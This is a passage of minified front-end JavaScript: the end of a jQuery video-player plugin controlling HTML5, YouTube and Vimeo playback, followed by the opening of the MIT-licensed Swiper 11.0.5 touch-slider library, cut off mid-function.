Date).getTime()+100*Math.random()),o.attr("id",d)),-1==o.attr("src").indexOf("?")?o.attr("src",o.attr("src")+"?player_id="+d):o.attr("src",o.attr("src")+"&player_id="+d)}"video"==r?(4==o.get(0).readyState?(o.attr(n.attr_ready,""),o.trigger("ready"+e.video.global.event_suffix)):o.get(0).addEventListener("canplaythrough",function(){o.attr(n.attr_ready,""),o.trigger("ready"+e.video.global.event_suffix),o.get(0).removeEventListener("canplaythrough",this)},!1),o.on("play",function(){o.removeAttr(n.attr_paused),o.attr(n.attr_playing,""),o.trigger("play"+e.video.global.event_suffix)}),o.on("pause",function(){o.removeAttr(n.attr_playing),o.attr(n.attr_paused,""),o.trigger("pause"+e.video.global.event_suffix)}),o.on("ended",function(){o.removeAttr(n.attr_playing),o.removeAttr(n.attr_paused),o.trigger("finish"+e.video.global.event_suffix)}),o.data("video-player",o[0])):"youtube"==r?t(o,function(t){o.trigger("ready"+e.video.global.event_suffix)}):"vimeo"==r&&i(o,function(t){o.trigger("ready"+e.video.global.event_suffix)})})},e.fn.playVideo=function(){return this.each(function(){var a=e(this),o=a.getVideoType(),r=a.getVideoPlayer();if(null==r)return console.warn("Player not initialized!"),!1;"video"==o?r.play():"youtube"==o?t(a,function(e){e.playVideo()}):"vimeo"==o&&i(a,function(t){e.video.vimeo_postmessage(t,"play")})})},e.fn.pauseVideo=function(){return this.each(function(){var a=e(this),o=a.getVideoType(),r=a.getVideoPlayer();if(null==r)return console.warn("Player not initialized!"),!1;"video"==o?r.pause():"youtube"==o?t(a,function(e){e.pauseVideo()}):"vimeo"==o&&i(a,function(t){e.video.vimeo_postmessage(t,"pause")})})},e.fn.stopVideo=function(){return this.each(function(){var a=e(this),o=a.getVideoType(),r=a.getVideoPlayer();if(null==r)return console.warn("Player not initialized!"),!1;"video"==o?(r.pause(),r.currentTime=0):"youtube"==o?t(a,function(e){e.seekTo(e.getDuration())}):"vimeo"==o&&i(a,function(t){e.video.vimeo_postmessage(t,"unload")})})},e.fn.restartVideo=function(){return this.each(function(){var a=e(this),o=a.getVideoType(),r=a.getVideoPlayer();a.getVideoConfig();if(null==r)return console.warn("Player not initialized!"),!1;"video"==o?(r.currentTime=0,r.play()):"youtube"==o?t(a,function(t){t.seekTo(0),t.playVideo(),a.trigger("restart"+e.video.global.event_suffix)}):"vimeo"==o&&i(a,function(t){e.video.vimeo_postmessage(t,"seekTo","0"),e.video.vimeo_postmessage(t,"play"),a.trigger("restart"+e.video.global.event_suffix)})})},e.fn.muteVideo=function(){return this.each(function(){var a=e(this),o=a.getVideoType(),r=a.getVideoPlayer();if(null==r)return console.warn("Player not initialized!"),!1;"video"==o?r.muted=!0:"youtube"==o?t(a,function(e){e.mute()}):"vimeo"==o&&i(a,function(t){e.video.vimeo_postmessage(t,"setVolume","0")})})},e.fn.unmuteVideo=function(){return this.each(function(){var a=e(this),o=a.getVideoType(),r=a.getVideoPlayer();if(null==r)return console.warn("Player not initialized!"),!1;"video"==o?r.muted=!1:"youtube"==o?t(a,function(e){e.unMute()}):"vimeo"==o&&i(a,function(t){e.video.vimeo_postmessage(t,"setVolume",1)})})},e.fn.seekToVideo=function(a){return this.each(function(){var o=e(this),r=o.getVideoType(),n=o.getVideoPlayer();if(null==n)return console.warn("Player not initialized!"),!1;"video"==r?n.currentTime=a:"youtube"==r?t(o,function(e){e.seekTo(a)}):"vimeo"==r&&i(o,function(t){e.video.vimeo_postmessage(t,"seekTo",a)})})},e.fn.destroyVideo=function(){return this.each(function(){var t=e(this),i=(t.getVideoType(),t.getVideoPlayer(),t.getVideoConfig());null!=i&&(t.removeData("video"),t.removeData("video-player"),t.removeAttr(i.attr_ready),t.removeAttr(i.attr_playing),t.removeAttr(i.attr_paused),t.trigger("destroy"+e.video.global.event_suffix))})},e.fn.addVideoEvent=function(t,i){return this.each(function(){var a=e(this),o=a.getVideoType(),r=a.getVideoPlayer();"play"!=t||"video"!=o||void 0===a.get(0).paused||a.get(0).paused||i(null,a,o,r),a.on(t+e.video.global.event_suffix,function(e){i(e,a,o,r)})})},e.fn.removeVideoEvent=function(t){return this.each(function(){e(this).unbind(t+e.video.global.event_suffix)})},e.fn.video=function(){var t="init",i={};return"string"==typeof arguments[0]?(t=arguments[0],i=arguments[1]):i=arguments[0],this.each(function(){var a=e(this);switch(t){case"init":a.initVideo(i);break;case"play":a.playVideo();break;case"pause":a.pauseVideo();break;case"stop":a.stopVideo();break;case"restart":a.restartVideo();break;case"mute":a.muteVideo();break;case"unmute":a.unmuteVideo();break;case"seekTo":a.seekToVideo(i);break;case"destroy":a.destroyVideo();break;case"addEvent":a.addVideoEvent(i[0],i[1]);break;case"removeEvent":a.removeVideoEvent(i[0]);break;default:console.warn('Video action "'+t+'" not found')}})}}(jQuery);

/**
 * Swiper 11.0.5
 * Most modern mobile touch slider and framework with hardware accelerated transitions
 * https://swiperjs.com
 *
 * Copyright 2014-2023 Vladimir Kharlampidi
 *
 * Released under the MIT License
 *
 * Released on: November 22, 2023
 */

var Swiper=function(){"use strict";function e(e){return null!==e&&"object"==typeof e&&"constructor"in e&&e.constructor===Object}function t(s,a){void 0===s&&(s={}),void 0===a&&(a={}),Object.keys(a).forEach((i=>{void 0===s[i]?s[i]=a[i]:e(a[i])&&e(s[i])&&Object.keys(a[i]).length>0&&t(s[i],a[i])}))}const s={body:{},addEventListener(){},removeEventListener(){},activeElement:{blur(){},nodeName:""},querySelector:()=>null,querySelectorAll:()=>[],getElementById:()=>null,createEvent:()=>({initEvent(){}}),createElement:()=>({children:[],childNodes:[],style:{},setAttribute(){},getElementsByTagName:()=>[]}),createElementNS:()=>({}),importNode:()=>null,location:{hash:"",host:"",hostname:"",href:"",origin:"",pathname:"",protocol:"",search:""}};function a(){const e="undefined"!=typeof document?document:{};return t(e,s),e}const i={document:s,navigator:{userAgent:""},location:{hash:"",host:"",hostname:"",href:"",origin:"",pathname:"",protocol:"",search:""},history:{replaceState(){},pushState(){},go(){},back(){}},CustomEvent:function(){return this},addEventListener(){},removeEventListener(){},getComputedStyle:()=>({getPropertyValue:()=>""}),Image(){},Date(){},screen:{},setTimeout(){},clearTimeout(){},matchMedia:()=>({}),requestAnimationFrame:e=>"undefined"==typeof setTimeout?(e(),null):setTimeout(e,0),cancelAnimationFrame(e){"undefined"!=typeof setTimeout&&clearTimeout(e)}};function r(){const e="undefined"!=typeof window?window:{};return t(e,i),e}function n(e){return void 0===e&&(e=""),e.trim().split(" ").filter((e=>!!e.trim()))}function l(e,t){return void 0===t&&(t=0),setTimeout(e,t)}function o(){return Date.now()}function d(e,t){void 0===t&&(t="x");const s=r();let a,i,n;const l=function(e){const t=r();let s;return t.getComputedStyle&&(s=t.getComputedStyle(e,null)),!s&&e.currentStyle&&(s=e.currentStyle),s||(s=e.style),s}(e);return s.WebKitCSSMatrix?(i=l.transform||l.webkitTransform,i.split(",").length>6&&(i=i.split(", ").map((e=>e.replace(",","."))).join(", ")),n=new s.WebKitCSSMatrix("none"===i?"":i)):(n=l.MozTransform||l.OTransform||l.MsTransform||l.msTransform||l.transform||l.getPropertyValue("transform").replace("translate(","matrix(1, 0, 0, 1,"),a=n.toString().split(",")),"x"===t&&(i=s.WebKitCSSMatrix?n.m41:16===a.length?parseFloat(a[12]):parseFloat(a[4])),"y"===t&&(i=s.WebKitCSSMatrix?n.m42:16===a.length?parseFloat(a[13]):parseFloat(a[5])),i||0}function c(e){return"object"==typeof e&&null!==e&&e.constructor&&"Object"===Object.prototype.toString.call(e).slice(8,-1)}function p(){const e=Object(arguments.length<=0?void 0:arguments[0]),t=["__proto__","constructor","prototype"];for(let a=1;a<arguments.length;a+=1){const i=a<0||arguments.length<=a?void 0:arguments[a];if(null!=i&&(s=i,!("undefined"!=typeof window&&void 0!==window.HTMLElement?s instanceof HTMLElement:s&&(1===s.nodeType||11===s.nodeType)))){const s=Object.keys(Object(i)).filter((e=>t.indexOf(e)<0));for(let t=0,a=s.length;t<a;t+=1){const a=s[t],r=Object.getOwnPropertyDescriptor(i,a);void 0!==r&&r.enumerable&&(c(e[a])&&c(i[a])?i[a].__swiper__?e[a]=i[a]:p(e[a],i[a]):!c(e[a])&&c(i[a])?(e[a]={},i[a].__swiper__?e[a]=i[a]:p(e[a],i[a])):e[a]=i[a])}}}var s;return e}function u(e,t,s){e.style.setProperty(t,s)}function m(e){let{swiper:t,targetPosition:s,side:a}=e;const i=r(),n=-t.translate;let l,o=null;const d=t.params.speed;t.wrapperEl.style.scrollSnapType="none",i.cancelAnimationFrame(t.cssModeFrameID);const c=s>n?"next":"prev",p=(e,t)=>"next"===c&&e>=t||"prev"===c&&e<=t,u=()=>{l=(new Date).getTime(),null===o&&(o=l);const e=Math.max(Math.min((l-o)/d,1),0),r=.5-Math.cos(e*Math.PI)/2;let c=n+r*(s-n);if(p(c,s)&&(c=s),t.wrapperEl.scrollTo({[a]:c}),p(c,s))return t.wrapperEl.style.overflow="hidden",t.wrapperEl.style.scrollSnapType="",setTimeout((()=>{t.wrapperEl.style.overflow="",t.wrapperEl.scrollTo({[a]:c})})),void i.cancelAnimationFrame(t.cssModeFrameID);t.cssModeFrameID=i.requestAnimationFrame(u)};u()}function h(e){return e.querySelector(".swiper-slide-transform")||e.shadowRoot&&e.shadowRoot.querySelector(".swiper-slide-transform")||e}function f(e,t){return void 0===t&&(t=""),[...e.children].filter((e=>e.matches(t)))}function g(e){try{return void console.warn(e)}catch(e){}}function v(e,t){void 0===t&&(t=[]);const s=document.createElement(e);return s.classList.add(...Array.isArray(t)?t:n(t)),s}function w(e){const t=r(),s=a(),i=e.getBoundingClientRect(),n=s.body,l=e.clientTop||n.clientTop||0,o=e.clientLeft||n.clientLeft||0,d=e===t?t.scrollY:e.scrollTop,c=e===t?t.scrollX:e.scrollLeft;return{top:i.top+d-l,left:i.left+c-o}}function b(e,t){return r().getComputedStyle(e,null).getPropertyValue(t)}function y(e){let t,s=e;if(s){for(t=0;null!==(s=s.previousSibling);)1===s.nodeType&&(t+=1);return t}}function E(e,t){const s=[];let a=e.parentElement;for(;a;)t?a.matches(t)&&s.push(a):s.push(a),a=a.parentElement;return s}function x(e,t){t&&e.addEventListener("transitionend",(function s(a){a.target===e&&(t.call(e,a),e.removeEventListener("transitionend",s))}))}function S(e,t,s){const a=r();return s?e["width"===t?"offsetWidth":"offsetHeight"]+parseFloat(a.getComputedStyle(e,null).getPropertyValue("width"===t?"margin-right":"margin-top"))+parseFloat(a.getComputedStyle(e,null).getPropertyValue("width"===t?"margin-left":"margin-bottom")):e.offsetWidth}let T,M,C;function P(){return T||(T=function(){const e=r(),t=a();return{smoothScroll:t.documentElement&&t.documentElement.style&&"scrollBehavior"in t.documentElement.style,touch:!!("ontouchstart"in e||e.DocumentTouch&&t instanceof e.DocumentTouch)}}()),T}function L(e){return void 0===e&&(e={}),M||(M=function(e){let{userAgent:t}=void 0===e?{}:e;const s=P(),a=r(),i=a.navigator.platform,n=t||a.navigator.userAgent,l={ios:!1,android:!1},o=a.screen.width,d=a.screen.height,c=n.match(/(Android);?[\s\/]+([\d.]+)?/);let p=n.match(/(iPad).*OS\s([\d_]+)/);const u=n.match(/(iPod)(.*OS\s([\d_]+))?/),m=!p&&n.match(/(iPhone\sOS|iOS)\s([\d_]+)/),h="Win32"===i;let f="MacIntel"===i;return!p&&f&&s.touch&&["1024x1366","1366x1024","834x1194","1194x834","834x1112","1112x834","768x1024","1024x768","820x1180","1180x820","810x1080","1080x810"].indexOf(`${o}x${d}`)>=0&&(p=n.match(/(Version)\/([\d.]+)/),p||(p=[0,1,"13_0_0"]),f=!1),c&&!h&&(l.os="android",l.android=!0),(p||m||u)&&(l.os="ios",l.ios=!0),l}(e)),M}function A(){return C||(C=function(){const e=r();let t=!1;function s(){const t=e.navigator.userAgent.toLowerCase();return t.indexOf("safari")>=0&&t.indexOf("chrome")<0&&t.indexOf("android")<0}if(s()){const s=String(e.navigator.userAgent);if(s.includes("Version/")){const[e,a]=s.split("Version/")[1].split(" ")[0].split(".").map((e=>Number(e)));t=e<16||16===e&&a<2}}return{isSafari:t||s(),needPerspectiveFix:t,isWebView:/(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/i.test(e.navigator.userAgent)}}()),C}var I={on(e,t,s){const a=this;if(!a.eventsListeners||a.destroyed)return a;if("function"!=typeof t)return a;const i=s?"unshift":"push";return e.split(" ").forEach((e=>{a.eventsListeners[e]||(a.eventsListeners[e]=[]),a.eventsListeners[e][i](t)})),a},once(e,t,s){const a=this;if(!a.eventsListeners||a.destroyed)return a;if("function"!=typeof t)return a;function i(){a.off(e,i),i.__emitterProxy&&delete i.__emitterProxy;for(var s=arguments.length,r=new Array(s),n=0;n<s;n++)r[n]=arguments[n];t.apply(a,r)}return i.__emitterProxy=t,a.on(e,i,s)},onAny(e,t){const s=this;if(!s.eventsListeners||s.destroyed)return s;if("function"!=typeof e)return s;const a=t?"unshift":"push";return s.eventsAnyListeners.indexOf(e)<0&&s.eventsAnyListeners[a](e),s},offAny(e){const t=this;if(!t.eventsListeners||t.destroyed)return t;if(!t.eventsAnyListeners)return t;const s=t.eventsAnyListeners.indexOf(e);return s>=0&&t.eventsAnyListeners.splice(s,1),t},off(e,t){const s=this;return!s.eventsListeners||s.destroyed?s:s.eventsListeners?(e.split(" ").forEach((e=>{void 0===t?s.eventsListeners[e]=[]:s.eventsListeners[e]&&s.eventsListeners[e].forEach(((a,i)=>{(a===t||a.__emitterProxy&&a.__emitterProxy===t)&&s.eventsListeners[e].splice(i,1)}))})),s):s},emit(){const e=this;if(!e.eventsListeners||e.destroyed)return e;if(!e.eventsListeners)return e;let t,s,a;for(var i=arguments.length,r=new Array(i),n=0;n<i;n++)r[n]=arguments[n];"string"==typeof r[0]||Array.isArray(r[0])?(t=r[0],s=r.slice(1,r.length),a=e):(t=r[0].events,s=r[0].data,a=r[0].context||e),s.unshift(a);return(Array.isArray(t)?t:t.split(" ")).forEach((t=>{e.eventsAnyListeners&&e.eventsAnyListeners.length&&e.eventsAnyListeners.forEach((e=>{e.apply(a,[t,...s])})),e.eventsListeners&&e.eventsListeners[t]&&e.eventsListeners[t].forEach((e=>{e.apply(a,s)}))})),e}};const z=(e,t)=>{if(!e||e.destroyed||!e.params)return;const s=t.closest(e.isElement?"swiper-slide":`.${e.params.slideClass}`);if(s){let t=s.querySelector(`.${e.params.lazyPreloaderClass}`);!t&&e.isElement&&(s.shadowRoot?t=s.shadowRoot.querySelector(`.${e.params.lazyPreloaderClass}`):requestAnimationFrame((()=>{s.shadowRoot&&(t=s.shadowRoot.querySelector(`.${e.params.lazyPreloaderClass}`),t&&t.remove())}))),t&&t.remove()}},$=(e,t)=>{if(!e.slides[t])return;const s=e.slides[t].querySelector('[loading="lazy"]');s&&s.removeAttribute("loading")},k=e=>{if(!e||e.destroyed||!e.params)return;let t=e.params.lazyPreloadPrevNext;const s=e.slides.length;if(!s||!t||t<0)return;t=Math.min(t,s);const a="auto"===e.params.slidesPerView?e.slidesPerViewDynamic():Math.ceil(e.params.slidesPerView),i=e.activeIndex;if(e.params.grid&&e.params.grid.rows>1){const s=i,r=[s-t];return r.push(...Array.from({length:t}).map(((e,t)=>s+a+t))),void e.slides.forEach(((t,s)=>{r.includes(t.column)&&$(e,s)}))}const r=i+a-1;if(e.params.rewind||e.params.loop)for(let a=i-t;a<=r+t;a+=1){const t=(a%s+s)%s;(t<i||t>r)&&$(e,t)}else for(let a=Math.max(i-t,0);a<=Math.min(r+t,s-1);a+=1)a!==i&&(a>r||a<i)&&$(e,a)};var O={updateSize:function(){const e=this;let t,s;const a=e.el;t=void 0!==e.params.width&&null!==e.params.width?e.params.width:a.clientWidth,s=void 0!==e.params.height&&null!==e.params.height?e.params.height:a.clientHeight,0===t&&e.isHorizontal()||0===s&&e.isVertical()||(t=t-parseInt(b(a,"padding-left")||0,10)-parseInt(b(a,"padding-right")||0,10),s=s-parseInt(b(a,"padding-top")||0,10)-parseInt(b(a,"padding-bottom")||0,10),Number.isNaN(t)&&(t=0),Number.isNaN(s)&&(s=0),Object.assign(e,{width:t,height:s,size:e.isHorizontal()?t:s}))},updateSlides:function(){const e=this;function t(t,s){return parseFloat(t.getPropertyValue(e.getDirectionLabel(s))||0)}const s=e.params,{wrapperEl:a,slidesEl:i,size:r,rtlTranslate:n,wrongRTL:l}=e,o=e.virtual&&s.virtual.enabled,d=o?e.virtual.slides.length:e.slides.length,c=f(i,`.${e.params.slideClass}, swiper-slide`),p=o?e.virtual.slides.length:c.length;let m=[];const h=[],g=[];let v=s.slidesOffsetBefore;"function"==typeof v&&(v=s.slidesOffsetBefore.call(e));let w=s.slidesOffsetAfter;"function"==typeof w&&(w=s.slidesOffsetAfter.call(e));const y=e.snapGrid.length,E=e.slidesGrid.length;let x=s.spaceBetween,T=-v,M=0,C=0;if(void 0===r)return;"string"==typeof x&&x.indexOf("%")>=0?x=parseFloat(x.replace("%",""))/100*r:"string"==typeof x&&(x=parseFloat(x)),e.virtualSize=-x,c.forEach((e=>{n?e.style.marginLeft="":e.style.marginRight="",e.style.marginBottom="",e.style.marginTop=""})),s.centeredSlides&&s.cssMode&&(u(a,"--swiper-centered-offset-before",""),u(a,"--swiper-centered-offset-after",""));const P=s.grid&&s.grid.rows>1&&e.grid;let L;P?e.grid.initSlides(c):e.grid&&e.grid.unsetSlides();const A="auto"===s.slidesPerView&&s.breakpoints&&Object.keys(s.breakpoints).filter((e=>void 0!==s.breakpoints[e].slidesPerView)).length>0;for(let a=0;a<p;a+=1){let i;if(L=0,c[a]&&(i=c[a]),P&&e.grid.updateSlide(a,i,c),!c[a]||"none"!==b(i,"display")){if("auto"===s.slidesPerView){A&&(c[a].style[e.getDirectionLabel("width")]="");const r=getComputedStyle(i),n=i.style.transform,l=i.style.webkitTransform;if(n&&(i.style.transform="none"),l&&(i.style.webkitTransform="none"),s.roundLengths)L=e.isHorizontal()?S(i,"width",!0):S(i,"height",!0);else{const e=t(r,"width"),s=t(r,"padding-left"),a=t(r,"padding-right"),n=t(r,"margin-left"),l=t(r,"margin-right"),o=r.getPropertyValue("box-sizing");if(o&&"border-box"===o)L=e+n+l;else{const{clientWidth:t,offsetWidth:r}=i;L=e+s+a+n+l+(r-t)}}n&&(i.style.transform=n),l&&(i.style.webkitTransform=l),s.roundLengths&&(L=Math.floor(L))}else L=(r-(s.slidesPerView-1)*x)/s.slidesPerView,s.roundLengths&&(L=Math.floor(L)),c[a]&&(c[a].style[e.getDirectionLabel("width")]=`${L}px`);c[a]&&(c[a].swiperSlideSize=L),g.push(L),s.centeredSlides?(T=T+L/2+M/2+x,0===M&&0!==a&&(T=T-r/2-x),0===a&&(T=T-r/2-x),Math.abs(T)<.001&&(T=0),s.roundLengths&&(T=Math.floor(T)),C%s.slidesPerGroup==0&&m.push(T),h.push(T)):(s.roundLengths&&(T=Math.floor(T)),(C-Math.min(e.params.slidesPerGroupSkip,C))%e.params.slidesPerGroup==0&&m.push(T),h.push(T),T=T+L+x),e.virtualSize+=L+x,M=L,C+=1}}if(e.virtualSize=Math.max(e.virtualSize,r)+w,n&&l&&("slide"===s.effect||"coverflow"===s.effect)&&(a.style.width=`${e.virtualSize+x}px`),s.setWrapperSize&&(a.style[e.getDirectionLabel("width")]=`${e.virtualSize+x}px`),P&&e.grid.updateWrapperSize(L,m),!s.centeredSlides){const t=[];for(let a=0;a<m.length;a+=1){let i=m[a];s.roundLengths&&(i=Math.floor(i)),m[a]<=e.virtualSize-r&&t.push(i)}m=t,Math.floor(e.virtualSize-r)-Math.floor(m[m.length-1])>1&&m.push(e.virtualSize-r)}if(o&&s.loop){const t=g[0]+x;if(s.slidesPerGroup>1){const a=Math.ceil((e.virtual.slidesBefore+e.virtual.slidesAfter)/s.slidesPerGroup),i=t*s.slidesPerGroup;for(let e=0;e<a;e+=1)m.push(m[m.length-1]+i)}for(let a=0;a<e.virtual.slidesBefore+e.virtual.slidesAfter;a+=1)1===s.slidesPerGroup&&m.push(m[m.length-1]+t),h.push(h[h.length-1]+t),e.virtualSize+=t}if(0===m.length&&(m=[0]),0!==x){const t=e.isHorizontal()&&n?"marginLeft":e.getDirectionLabel("marginRight");c.filter(((e,t)=>!(s.cssMode&&!s.loop)||t!==c.length-1)).forEach((e=>{e.style[t]=`${x}px`}))}if(s.centeredSlides&&s.centeredSlidesBounds){let e=0;g.forEach((t=>{e+=t+(x||0)})),e-=x;const t=e-r;m=m.map((e=>e<=0?-v:e>t?t+w:e))}if(s.centerInsufficientSlides){let e=0;if(g.forEach((t=>{e+=t+(x||0)})),e-=x,e<r){const t=(r-e)/2;m.forEach(((e,s)=>{m[s]=e-t})),h.forEach(((e,s)=>{h[s]=e+t}))}}if(Object.assign(e,{slides:c,snapGrid:m,slidesGrid:h,slidesSizesGrid:g}),s.centeredSlides&&s.cssMode&&!s.centeredSlidesBounds){u(a,"--swiper-centered-offset-before",-m[0]+"px"),u(a,"--swiper-centered-offset-after",e.size/2-g[g.length-1]/2+"px");const t=-e.snapGrid[0],s=-e.slidesGrid[0];e.snapGrid=e.snapGrid.map((e=>e+t)),e.slidesGrid=e.slidesGrid.map((e=>e+s))}if(p!==d&&e.emit("slidesLengthChange"),m.length!==y&&(e.params.watchOverflow&&e.checkOverflow(),e.emit("snapGridLengthChange")),h.length!==E&&e.emit("slidesGridLengthChange"),s.watchSlidesProgress&&e.updateSlidesOffset(),e.emit("slidesUpdated"),!(o||s.cssMode||"slide"!==s.effect&&"fade"!==s.effect)){const t=`${s.containerModifierClass}backface-hidden`,a=e.el.classList.contains(t);p<=s.maxBackfaceHiddenSlides?a||e.el.classList.add(t):a&&e.el.classList.remove(t)}},updateAutoHeight:function(e){const t=this,s=[],a=t.virtual&&t.params.virtual.enabled;let i,r=0;"number"==typeof e?t.setTransition(e):!0===e&&t.setTransition(t.params.speed);const n=e=>a?t.slides[t.getSlideIndexByData(e)]:t.slides[e];if("auto"!==t.params.slidesPerView&&t.params.slidesPerView>1)if(t.params.centeredSlides)(t.visibleSlides||[]).forEach((e=>{s.push(e)}));else for(i=0;i<Math.ceil(t.params.slidesPerView);i+=1){const e=t.activeIndex+i;if(e>t.slides.length&&!a)break;s.push(n(e))}else s.push(n(t.activeIndex));for(i=0;i<s.length;i+=1)if(void 0!==s[i]){const e=s[i].offsetHeight;r=e>r?e:r}(r||0===r)&&(t.wrapperEl.style.height=`${r}px`)},updateSlidesOffset:function(){const e=this,t=e.slides,s=e.isElement?e.isHorizontal()?e.wrapperEl.offsetLeft:e.wrapperEl.offsetTop:0;for(let a=0;a<t.length;a+=1)t[a].swiperSlideOffset=(e.isHorizontal()?t[a].offsetLeft:t[a].offsetTop)-s-e.cssOverflowAdjustment()},updateSlidesProgress:function(e){void 0===e&&(e=this&&this.translate||0);const t=this,s=t.params,{slides:a,rtlTranslate:i,snapGrid:r}=t;if(0===a.length)return;void 0===a[0].swiperSlideOffset&&t.updateSlidesOffset();let n=-e;i&&(n=e),a.forEach((e=>{e.classList.remove(s.slideVisibleClass,s.slideFullyVisibleClass)})),t.visibleSlidesIndexes=[],t.visibleSlides=[];let l=s.spaceBetween;"string"==typeof l&&l.indexOf("%")>=0?l=parseFloat(l.replace("%",""))/100*t.size:"string"==typeof l&&(l=parseFloat(l));for(let e=0;e<a.length;e+=1){const o=a[e];let d=o.swiperSlideOffset;s.cssMode&&s.centeredSlides&&(d-=a[0].swiperSlideOffset);const c=(n+(s.centeredSlides?t.minTranslate():0)-d)/(o.swiperSlideSize+l),p=(n-r[0]+(s.centeredSlides?t.minTranslate():0)-d)/(o.swiperSlideSize+l),u=-(n-d),m=u+t.slidesSizesGrid[e],h=u>=0&&u<=t.size-t.slidesSizesGrid[e];(u>=0&&u<t.size-1||m>1&&m<=t.size||u<=0&&m>=t.size)&&(t.visibleSlides.push(o),t.visibleSlidesIndexes.push(e),a[e].classList.add(s.slideVisibleClass)),h&&a[e].classList.add(s.slideFullyVisibleClass),o.progress=i?-c:c,o.originalProgress=i?-p:p}},updateProgress:function(e){const t=this;if(void 0===e){const s=t.rtlTranslate?-1:1;e=t&&t.translate&&t.translate*s||0}const s=t.params,a=t.maxTranslate()-t.minTranslate();let{progress:i,isBeginning:r,isEnd:n,progressLoop:l}=t;const o=r,d=n;if(0===a)i=0,r=!0,n=!0;else{i=(e-t.minTranslate())/a;const s=Math.abs(e-t.minTranslate())<1,l=Math.abs(e-t.maxTranslate())<1;r=s||i<=0,n=l||i>=1,s&&(i=0),l&&(i=1)}if(s.loop){const s=t.getSlideIndexByData(0),a=t.getSlideIndexByData(t.slides.length-1),i=t.slidesGrid[s],r=t.slidesGrid[a],n=t.slidesGrid[t.slidesGrid.length-1],o=Math.abs(e);l=o>=i?(o-i)/n:(o+n-r)/n,l>1&&(l-=1)}Object.assign(t,{progress:i,progressLoop:l,isBeginning:r,isEnd:n}),(s.watchSlidesProgress||s.centeredSlides&&s.autoHeight)&&t.updateSlidesProgress(e),r&&!o&&t.emit("reachBeginning toEdge"),n&&!d&&t.emit("reachEnd toEdge"),(o&&!r||d&&!n)&&t.emit("fromEdge"),t.emit("progress",i)},updateSlidesClasses:function(){const e=this,{slides:t,params:s,slidesEl:a,activeIndex:i}=e,r=e.virtual&&s.virtual.enabled,n=e.grid&&s.grid&&s.grid.rows>1,l=e=>f(a,`.${s.slideClass}${e}, swiper-slide${e}`)[0];let o,d,c;if(t.forEach((e=>{e.classList.remove(s.slideActiveClass,s.slideNextClass,s.slidePrevClass)})),r)if(s.loop){let t=i-e.virtual.slidesBefore;t<0&&(t=e.virtual.slides.length+t),t>=e.virtual.slides.length&&(t-=e.virtual.slides.length),o=l(`[data-swiper-slide-index="${t}"]`)}else o=l(`[data-swiper-slide-index="${i}"]`);else n?(o=t.filter((e=>e.column===i))[0],c=t.filter((e=>e.column===i+1))[0],d=t.filter((e=>e.column===i-1))[0]):o=t[i];o&&(o.classList.add(s.slideActiveClass),n?(c&&c.classList.add(s.slideNextClass),d&&d.classList.add(s.slidePrevClass)):(c=function(e,t){const s=[];for(;e.nextElementSibling;){const a=e.nextElementSibling;t?a.matches(t)&&s.push(a):s.push(a),e=a}return s}(o,`.${s.slideClass}, swiper-slide`)[0],s.loop&&!c&&(c=t[0]),c&&c.classList.add(s.slideNextClass),d=function(e,t){const s=[];for(;e.previousElementSibling;){const a=e.previousElementSibling;t?a.matches(t)&&s.push(a):s.push(a),e=a}return s}(o,`.${s.slideClass}, swiper-slide`)[0],s.loop&&0===!d&&(d=t[t.length-1]),d&&d.classList.add(s.slidePrevClass))),e.emitSlidesClasses()},updateActiveIndex:function(e){const t=this,s=t.rtlTranslate?t.translate:-t.translate,{snapGrid:a,params:i,activeIndex:r,realIndex:n,snapIndex:l}=t;let o,d=e;const c=e=>{let s=e-t.virtual.slidesBefore;return s<0&&(s=t.virtual.slides.length+s),s>=t.virtual.slides.length&&(s-=t.virtual.slides.length),s};if(void 0===d&&(d=function(e){const{slidesGrid:t,params:s}=e,a=e.rtlTranslate?e.translate:-e.translate;let i;for(let e=0;e<t.length;e+=1)void 0!==t[e+1]?a>=t[e]&&a<t[e+1]-(t[e+1]-t[e])/2?i=e:a>=t[e]&&a<t[e+1]&&(i=e+1):a>=t[e]&&(i=e);return s.normalizeSlideIndex&&(i<0||void 0===i)&&(i=0),i}(t)),a.indexOf(s)>=0)o=a.indexOf(s);else{const e=Math.min(i.slidesPerGroupSkip,d);o=e+Math.floor((d-e)/i.slidesPerGroup)}if(o>=a.length&&(o=a.length-1),d===r&&!t.params.loop)return void(o!==l&&(t.snapIndex=o,t.emit("snapIndexChange")));if(d===r&&t.params.loop&&t.virtual&&t.params.virtual.enabled)return void(t.realIndex=c(d));const p=t.grid&&i.grid&&i.grid.rows>1;let u;if(t.virtual&&i.virtual.enabled&&i.loop)u=c(d);else if(p){const e=t.slides.filter((e=>e.column===d))[0];let s=parseInt(e.getAttribute("data-swiper-slide-index"),10);Number.isNaN(s)&&(s=Math.max(t.slides.indexOf(e),0)),u=Math.floor(s/i.grid.rows)}else if(t.slides[d]){const e=t.slides[d].getAttribute("data-swiper-slide-index");u=e?parseInt(e,10):d}else u=d;Object.assign(t,{previousSnapIndex:l,snapIndex:o,previousRealIndex:n,realIndex:u,previousIndex:r,activeIndex:d}),t.initialized&&k(t),t.emit("activeIndexChange"),t.emit("snapIndexChange"),(t.initialized||t.params.runCallbacksOnInit)&&(n!==u&&t.emit("realIndexChange"),t.emit("slideChange"))},updateClickedSlide:function(e,t){const s=this,a=s.params;let i=e.closest(`.${a.slideClass}, swiper-slide`);!i&&s.isElement&&t&&t.length>1&&t.includes(e)&&[...t.slice(t.indexOf(e)+1,t.length)].forEach((e=>{!i&&e.matches&&e.matches(`.${a.slideClass}, swiper-slide`)&&(i=e)}));let r,n=!1;if(i)for(let e=0;e<s.slides.length;e+=1)if(s.slides[e]===i){n=!0,r=e;break}if(!i||!n)return s.clickedSlide=void 0,void(s.clickedIndex=void 0);s.clickedSlide=i,s.virtual&&s.params.virtual.enabled?s.clickedIndex=parseInt(i.getAttribute("data-swiper-slide-index"),10):s.clickedIndex=r,a.slideToClickedSlide&&void 0!==s.clickedIndex&&s.clickedIndex!==s.activeIndex&&s.slideToClickedSlide()}};var D={getTranslate:function(e){void 0===e&&(e=this.isHorizontal()?"x":"y");const{params:t,rtlTranslate:s,translate:a,wrapperEl:i}=this;if(t.virtualTranslate)return s?-a:a;if(t.cssMode)return a;let r=d(i,e);return r+=this.cssOverflowAdjustment(),s&&(r=-r),r||0},setTranslate:function(e,t){const s=this,{rtlTranslate:a,params:i,wrapperEl:r,progress:n}=s;let 